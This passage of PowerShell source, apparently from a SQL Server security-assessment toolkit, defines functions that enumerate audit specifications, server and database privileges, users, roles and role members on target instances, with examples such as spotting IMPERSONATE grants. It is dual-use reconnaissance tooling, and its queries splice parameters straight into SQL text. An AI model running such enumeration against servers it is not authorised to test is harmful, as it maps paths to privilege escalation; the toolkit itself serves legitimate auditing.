$SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], audit_id as [AuditId], a.name as [AuditName], s.name as [AuditSpecification], d.audit_action_id as [AuditActionId], d.audit_action_name as [AuditAction], s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id WHERE 1=1 $AuditNameFilter $SpecNameFilter $ActionNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose # Append results $TblAuditDatabaseSpec = $TblAuditDatabaseSpec + $TblResults } End { # Return data $TblAuditDatabaseSpec } } # ---------------------------------- # Get-SQLAuditServerSpec # ---------------------------------- # Author: Scott Sutherland Function Get-SQLAuditServerSpec { <# .SYNOPSIS Returns Audit server specifications from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER AuditName Audit name. .PARAMETER AuditSpecification Audit specification. .PARAMETER AuditAction Audit action name. .EXAMPLE PS C:\> Get-SQLAuditServerSpec -Verbose -Instance "SQLServer1" .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLAuditServerSpec -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Audit name.')] [string]$AuditName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Specification name.')] [string]$AuditSpecification, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Audit action name.')] [string]$AuditAction, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblAuditServerSpec = New-Object -TypeName System.Data.DataTable # Setup audit name filter if($AuditName) { $AuditNameFilter = " and a.name like '%$AuditName%'" } else { $AuditNameFilter = '' } # Setup spec name filter if($AuditSpecification) { $SpecNameFilter = " and s.name like '%$AuditSpecification%'" } else { $SpecNameFilter = '' } # Setup action name filter if($AuditAction) { $ActionNameFilter = " and d.audit_action_name like '%$AuditAction%'" } else { $ActionNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], audit_id as [AuditId], a.name as [AuditName], s.name as [AuditSpecification], d.audit_action_name as [AuditAction], s.is_state_enabled, d.is_group, d.audit_action_id as [AuditActionId], s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id WHERE 1=1 $AuditNameFilter $SpecNameFilter $ActionNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose # Append results $TblAuditServerSpec = $TblAuditServerSpec + $TblResults } End { # Return data $TblAuditServerSpec } } # ---------------------------------- # Get-SQLServerPriv # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerPriv { <# .SYNOPSIS Returns SQL Server login privilege information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER PermissionName Permission name to filter for. .EXAMPLE PS C:\> Get-SQLServerPriv -Instance SQLServer1\STANDARDDEV2014 -PermissionName IMPERSONATE ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 GranteeName : public GrantorName : sa PermissionClass : SERVER_PRINCIPAL PermissionName : IMPERSONATE PermissionState : GRANT ObjectName : sa ObjectType : SQL_LOGIN .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerPriv -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Permission name.')] [string]$PermissionName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServerPrivs = New-Object -TypeName System.Data.DataTable # Setup $PermissionName filter if($PermissionName) { $PermissionNameFilter = " WHERE PER.permission_name like '$PermissionName'" } else { $PermissionNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to get all rows. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], GRE.name as [GranteeName], GRO.name as [GrantorName], PER.class_desc as [PermissionClass], PER.permission_name as [PermissionName], PER.state_desc as [PermissionState], COALESCE(PRC.name, EP.name, N'') as [ObjectName], COALESCE(PRC.type_desc, EP.type_desc, N'') as [ObjectType] FROM [sys].[server_permissions] as PER INNER JOIN sys.server_principals as GRO ON PER.grantor_principal_id = GRO.principal_id INNER JOIN sys.server_principals as GRE ON PER.grantee_principal_id = GRE.principal_id LEFT JOIN sys.server_principals as PRC ON PER.class = 101 AND PER.major_id = PRC.principal_id LEFT JOIN sys.endpoints AS EP ON PER.class = 105 AND PER.major_id = EP.endpoint_id $PermissionNameFilter ORDER BY GranteeName,PermissionName;" # Execute Query $TblServerPrivsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append data as needed $TblServerPrivs = $TblServerPrivs + $TblServerPrivsTemp } End { # Return data $TblServerPrivs } } # ---------------------------------- # Get-SQLDatabasePriv # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabasePriv { <# .SYNOPSIS Returns database user privilege information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER NoDefaults Only select non default databases. .PARAMETER PermissionName Permission name to filter for. .PARAMETER PermissionType Permission type name to filter for. .PARAMETER PrincipalName Principal name to filter for. .EXAMPLE PS C:\> Get-SQLDatabasePriv -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PermissionName "VIEW DEFINITION" ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb PrincipalName : createprocuser PrincipalType : SQL_USER PermissionType : SCHEMA PermissionName : VIEW DEFINITION StateDescription : GRANT ObjectType : SCHEMA ObjectName : dbo .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabasePriv -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name to filter for.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Permission name to filter for.')] [string]$PermissionName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Permission type to filter for.')] [string]$PermissionType, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Principal name for grantee to filter for.')] [string]$PrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = "Don't select permissions for default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblDatabasePrivs = New-Object -TypeName System.Data.DataTable # Setup PermissionName filter if($PermissionName) { $PermissionNameFilter = " and pm.permission_name like '$PermissionName'" } else { $PermissionNameFilter = '' } # Setup PermissionName filter if($PrincipalName) { $PrincipalNameFilter = " and rp.name like '$PrincipalName'" } else { $PrincipalNameFilter = '' } # Setup PermissionType filter if($PermissionType) { $PermissionTypeFilter = " and pm.class_desc like '$PermissionType'" } else { $PermissionTypeFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get the privs for each database $TblDatabases | ForEach-Object -Process { # Set DatabaseName filter $DbName = $_.DatabaseName # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], rp.name as [PrincipalName], rp.type_desc as [PrincipalType], pm.class_desc as [PermissionType], pm.permission_name as [PermissionName], pm.state_desc as [StateDescription], ObjectType = CASE WHEN obj.type_desc IS NULL OR obj.type_desc = 'SYSTEM_TABLE' THEN pm.class_desc ELSE obj.type_desc END, [ObjectName] = Isnull(ss.name, Object_name(pm.major_id)) FROM $DbName.sys.database_principals rp INNER JOIN $DbName.sys.database_permissions pm ON pm.grantee_principal_id = rp.principal_id LEFT JOIN $DbName.sys.schemas ss ON pm.major_id = ss.schema_id LEFT JOIN $DbName.sys.objects obj ON pm.[major_id] = obj.[object_id] WHERE 1=1 $PermissionTypeFilter $PermissionNameFilter $PrincipalNameFilter" # Execute Query if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Grabbing permissions for the $DbName database..." } $TblDatabaseTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblDatabasePrivs = $TblDatabasePrivs + $TblDatabaseTemp } } End { # Return data $TblDatabasePrivs } } # ---------------------------------- # Get-SQLDatabaseUser # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabaseUser { <# .SYNOPSIS Returns database user information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER DatabaseUser Database user to filter for. .PARAMETER PrincipalName Principal name to filter for. .PARAMETER NoDefaults Only show information for non default databases. .EXAMPLE PS C:\> Get-SQLDatabaseUser -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PrincipalName evil ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb DatabaseUserId : 5 DatabaseUser : evil PrincipalSid : 3E26CA9124B4AE42ABF1BBF2523738CA PrincipalName : evil PrincipalType : SQL_USER deault_schema_name : dbo create_date : 04/22/2016 13:00:33 is_fixed_role : False [TRUNCATED] .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseUser -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database user.')] [string]$DatabaseUser, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Server login.')] [string]$PrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Do not show database users associated with default databases.')] [Switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblDatabaseUsers = New-Object -TypeName System.Data.DataTable $null = $TblDatabaseUsers.Columns.Add('ComputerName') $null = $TblDatabaseUsers.Columns.Add('Instance') $null = $TblDatabaseUsers.Columns.Add('DatabaseName') $null = $TblDatabaseUsers.Columns.Add('DatabaseUserId') $null = $TblDatabaseUsers.Columns.Add('DatabaseUser') $null = $TblDatabaseUsers.Columns.Add('PrincipalSid') $null = $TblDatabaseUsers.Columns.Add('PrincipalName') $null = $TblDatabaseUsers.Columns.Add('PrincipalType') $null = $TblDatabaseUsers.Columns.Add('deault_schema_name') $null = $TblDatabaseUsers.Columns.Add('create_date') $null = $TblDatabaseUsers.Columns.Add('is_fixed_role') # Setup PrincipalName filter if($PrincipalName) { $PrincipalNameFilter = " and b.name like '$PrincipalName'" } else { $PrincipalNameFilter = '' } # Setup DatabaseUser filter if($DatabaseUser) { $DatabaseUserFilter = " and a.name like '$DatabaseUser'" } else { $DatabaseUserFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin or DBO privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get list of databases if($NoDefaults) { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose -NoDefaults } else { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose } # Get the privs for each database $TblDatabases | ForEach-Object -Process { # Set DatabaseName filter $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Grabbing database users from $DbName." } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], a.principal_id as [DatabaseUserId], a.name as [DatabaseUser], a.sid as [PrincipalSid], b.name as [PrincipalName], a.type_desc as [PrincipalType], default_schema_name, a.create_date, a.is_fixed_role FROM [sys].[database_principals] a LEFT JOIN [sys].[server_principals] b ON a.sid = b.sid WHERE 1=1 $DatabaseUserFilter $PrincipalNameFilter" # Execute Query $TblDatabaseUsersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each entry and append results $TblDatabaseUsersTemp | ForEach-Object -Process { # Convert SID to string if($_.PrincipalSid.GetType() -eq [System.DBNull]) { $Sid = '' } else { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } } # Add results to table $null = $TblDatabaseUsers.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, [string]$_.DatabaseName, [string]$_.DatabaseUserId, [string]$_.DatabaseUser, $Sid, [string]$_.PrincipalName, [string]$_.PrincipalType, [string]$_.default_schema_name, [string]$_.create_date, [string]$_.is_fixed_role) } } } End { # Return data $TblDatabaseUsers } } # ---------------------------------- # Get-SQLServerRole # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerRole { <# .SYNOPSIS Returns SQL Server role information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER RolePrincipalName Role principal name to filter for. .PARAMETER RoleOwner Role owner name to filter for. .EXAMPLE PS C:\> Get-SQLServerRole -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 RolePrincipalId : 2 RolePrincipalSid : 2 RolePrincipalName : public RolePrincipalType : SERVER_ROLE OwnerPrincipalId : 1 OwnerPrincipalName : sa is_disabled : False is_fixed_role : False create_date : 4/13/2009 12:59:06 PM modify_Date : 4/13/2009 12:59:06 PM default_database_name : .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerRole -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Role name.')] [string]$RolePrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = "Role owner's name.")] [string]$RoleOwner, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup table for output $TblServerRoles = New-Object -TypeName System.Data.DataTable $null = $TblServerRoles.Columns.Add('ComputerName') $null = $TblServerRoles.Columns.Add('Instance') $null = $TblServerRoles.Columns.Add('RolePrincipalId') $null = $TblServerRoles.Columns.Add('RolePrincipalSid') $null = $TblServerRoles.Columns.Add('RolePrincipalName') $null = $TblServerRoles.Columns.Add('RolePrincipalType') $null = $TblServerRoles.Columns.Add('OwnerPrincipalId') $null = $TblServerRoles.Columns.Add('OwnerPrincipalName') $null = $TblServerRoles.Columns.Add('is_disabled') $null = $TblServerRoles.Columns.Add('is_fixed_role') $null = $TblServerRoles.Columns.Add('create_date') $null = $TblServerRoles.Columns.Add('modify_Date') $null = $TblServerRoles.Columns.Add('default_database_name') # Setup owner filter if ($RoleOwner) { $RoleOwnerFilter = " AND suser_name(owning_principal_id) like '$RoleOwner'" } else { $RoleOwnerFilter = '' } # Setup role name if ($RolePrincipalName) { $PrincipalNameFilter = " AND name like '$RolePrincipalName'" } else { $PrincipalNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to get all rows # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], principal_id as [RolePrincipalId], sid as [RolePrincipalSid], name as [RolePrincipalName], type_desc as [RolePrincipalType], owning_principal_id as [OwnerPrincipalId], suser_name(owning_principal_id) as [OwnerPrincipalName], is_disabled, is_fixed_role, create_date, modify_Date, default_database_name FROM [master].[sys].[server_principals] WHERE type like 'R' $PrincipalNameFilter $RoleOwnerFilter" # Execute Query $TblServerRolesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each entry $TblServerRolesTemp | ForEach-Object -Process { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.RolePrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } # Add results to table $null = $TblServerRoles.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, [string]$_.RolePrincipalId, $Sid, $_.RolePrincipalName, [string]$_.RolePrincipalType, [string]$_.OwnerPrincipalId, [string]$_.OwnerPrincipalName, [string]$_.is_disabled, [string]$_.is_fixed_role, $_.create_date, $_.modify_Date, [string]$_.default_database_name) } } End { # Return data $TblServerRoles } } # ---------------------------------- # Get-SQLServerRoleMember # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerRoleMember { <# .SYNOPSIS Returns SQL Server role member information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER RolePrincipalName Role principal name to filter for. .PARAMETER PrincipalName Principal name to filter for. .EXAMPLE PS C:\> Get-SQLServerRoleMember -Instance SQLServer1\STANDARDDEV2014 -PrincipalName MyUser ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 RolePrincipalId : 3 RolePrincipalName : sysadmin PrincipalId : 272 PrincipalName : MyUser ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 RolePrincipalId : 6 RolePrincipalName : setupadmin PrincipalId : 272 PrincipalName : MyUser ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 RolePrincipalId : 276 RolePrincipalName : MyCustomRole PrincipalId : 272 PrincipalName : MyUser .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerRoleMember -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Role name.')] [string]$RolePrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL login or Windows account name.')] [string]$PrincipalName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServerRoleMembers = New-Object -TypeName System.Data.DataTable # Setup role name filter if ($RolePrincipalName) { $RoleOwnerFilter = " AND SUSER_NAME(role_principal_id) like '$RolePrincipalName'" } else { $RoleOwnerFilter = '' } # Setup login name filter if ($PrincipalName) { $PrincipalNameFilter = " AND SUSER_NAME(member_principal_id) like '$PrincipalName'" } else { $PrincipalNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance],role_principal_id as [RolePrincipalId], SUSER_NAME(role_principal_id) as [RolePrincipalName], member_principal_id as [PrincipalId], SUSER_NAME(member_principal_id) as [PrincipalName] FROM sys.server_role_members WHERE 1=1 $PrincipalNameFilter $RoleOwnerFilter" # Execute Query $TblServerRoleMembersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append as needed $TblServerRoleMembers = $TblServerRoleMembers + $TblServerRoleMembersTemp } End { # Return role members $TblServerRoleMembers } } # ---------------------------------- # Get-SQLDatabaseRole # ---------------------------------- # Author: Scott Sutherland # Reference: https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx Function Get-SQLDatabaseRole { <# .SYNOPSIS Returns database role information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER NoDefaults Only select non default databases. .PARAMETER RolePrincipalName Role principalname to filter for. .PARAMETER RoleOwner Role owner's name to filter for. .EXAMPLE PS C:\> Get-SQLDatabaseRole -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -RolePrincipalName DB_OWNER ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb RolePrincipalId : 16384 RolePrincipalSid : 01050000000000090400000000000000000000000000000000400000 RolePrincipalName : db_owner RolePrincipalType : DATABASE_ROLE OwnerPrincipalId : 1 OwnerPrincipalName : sa is_fixed_role : True create_date : 4/8/2003 9:10:42 AM modify_Date : 4/13/2009 12:59:14 PM default_schema_name : .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseRole -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Role name.')] [string]$RolePrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = "Role owner's name.")] [string]$RoleOwner, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup table for output $TblDatabaseRoles = New-Object -TypeName System.Data.DataTable $null = $TblDatabaseRoles.Columns.Add('ComputerName') $null = $TblDatabaseRoles.Columns.Add('Instance') $null = $TblDatabaseRoles.Columns.Add('DatabaseName') $null = $TblDatabaseRoles.Columns.Add('RolePrincipalId') $null = $TblDatabaseRoles.Columns.Add('RolePrincipalSid') $null = $TblDatabaseRoles.Columns.Add('RolePrincipalName') $null = $TblDatabaseRoles.Columns.Add('RolePrincipalType') $null = $TblDatabaseRoles.Columns.Add('OwnerPrincipalId') $null = 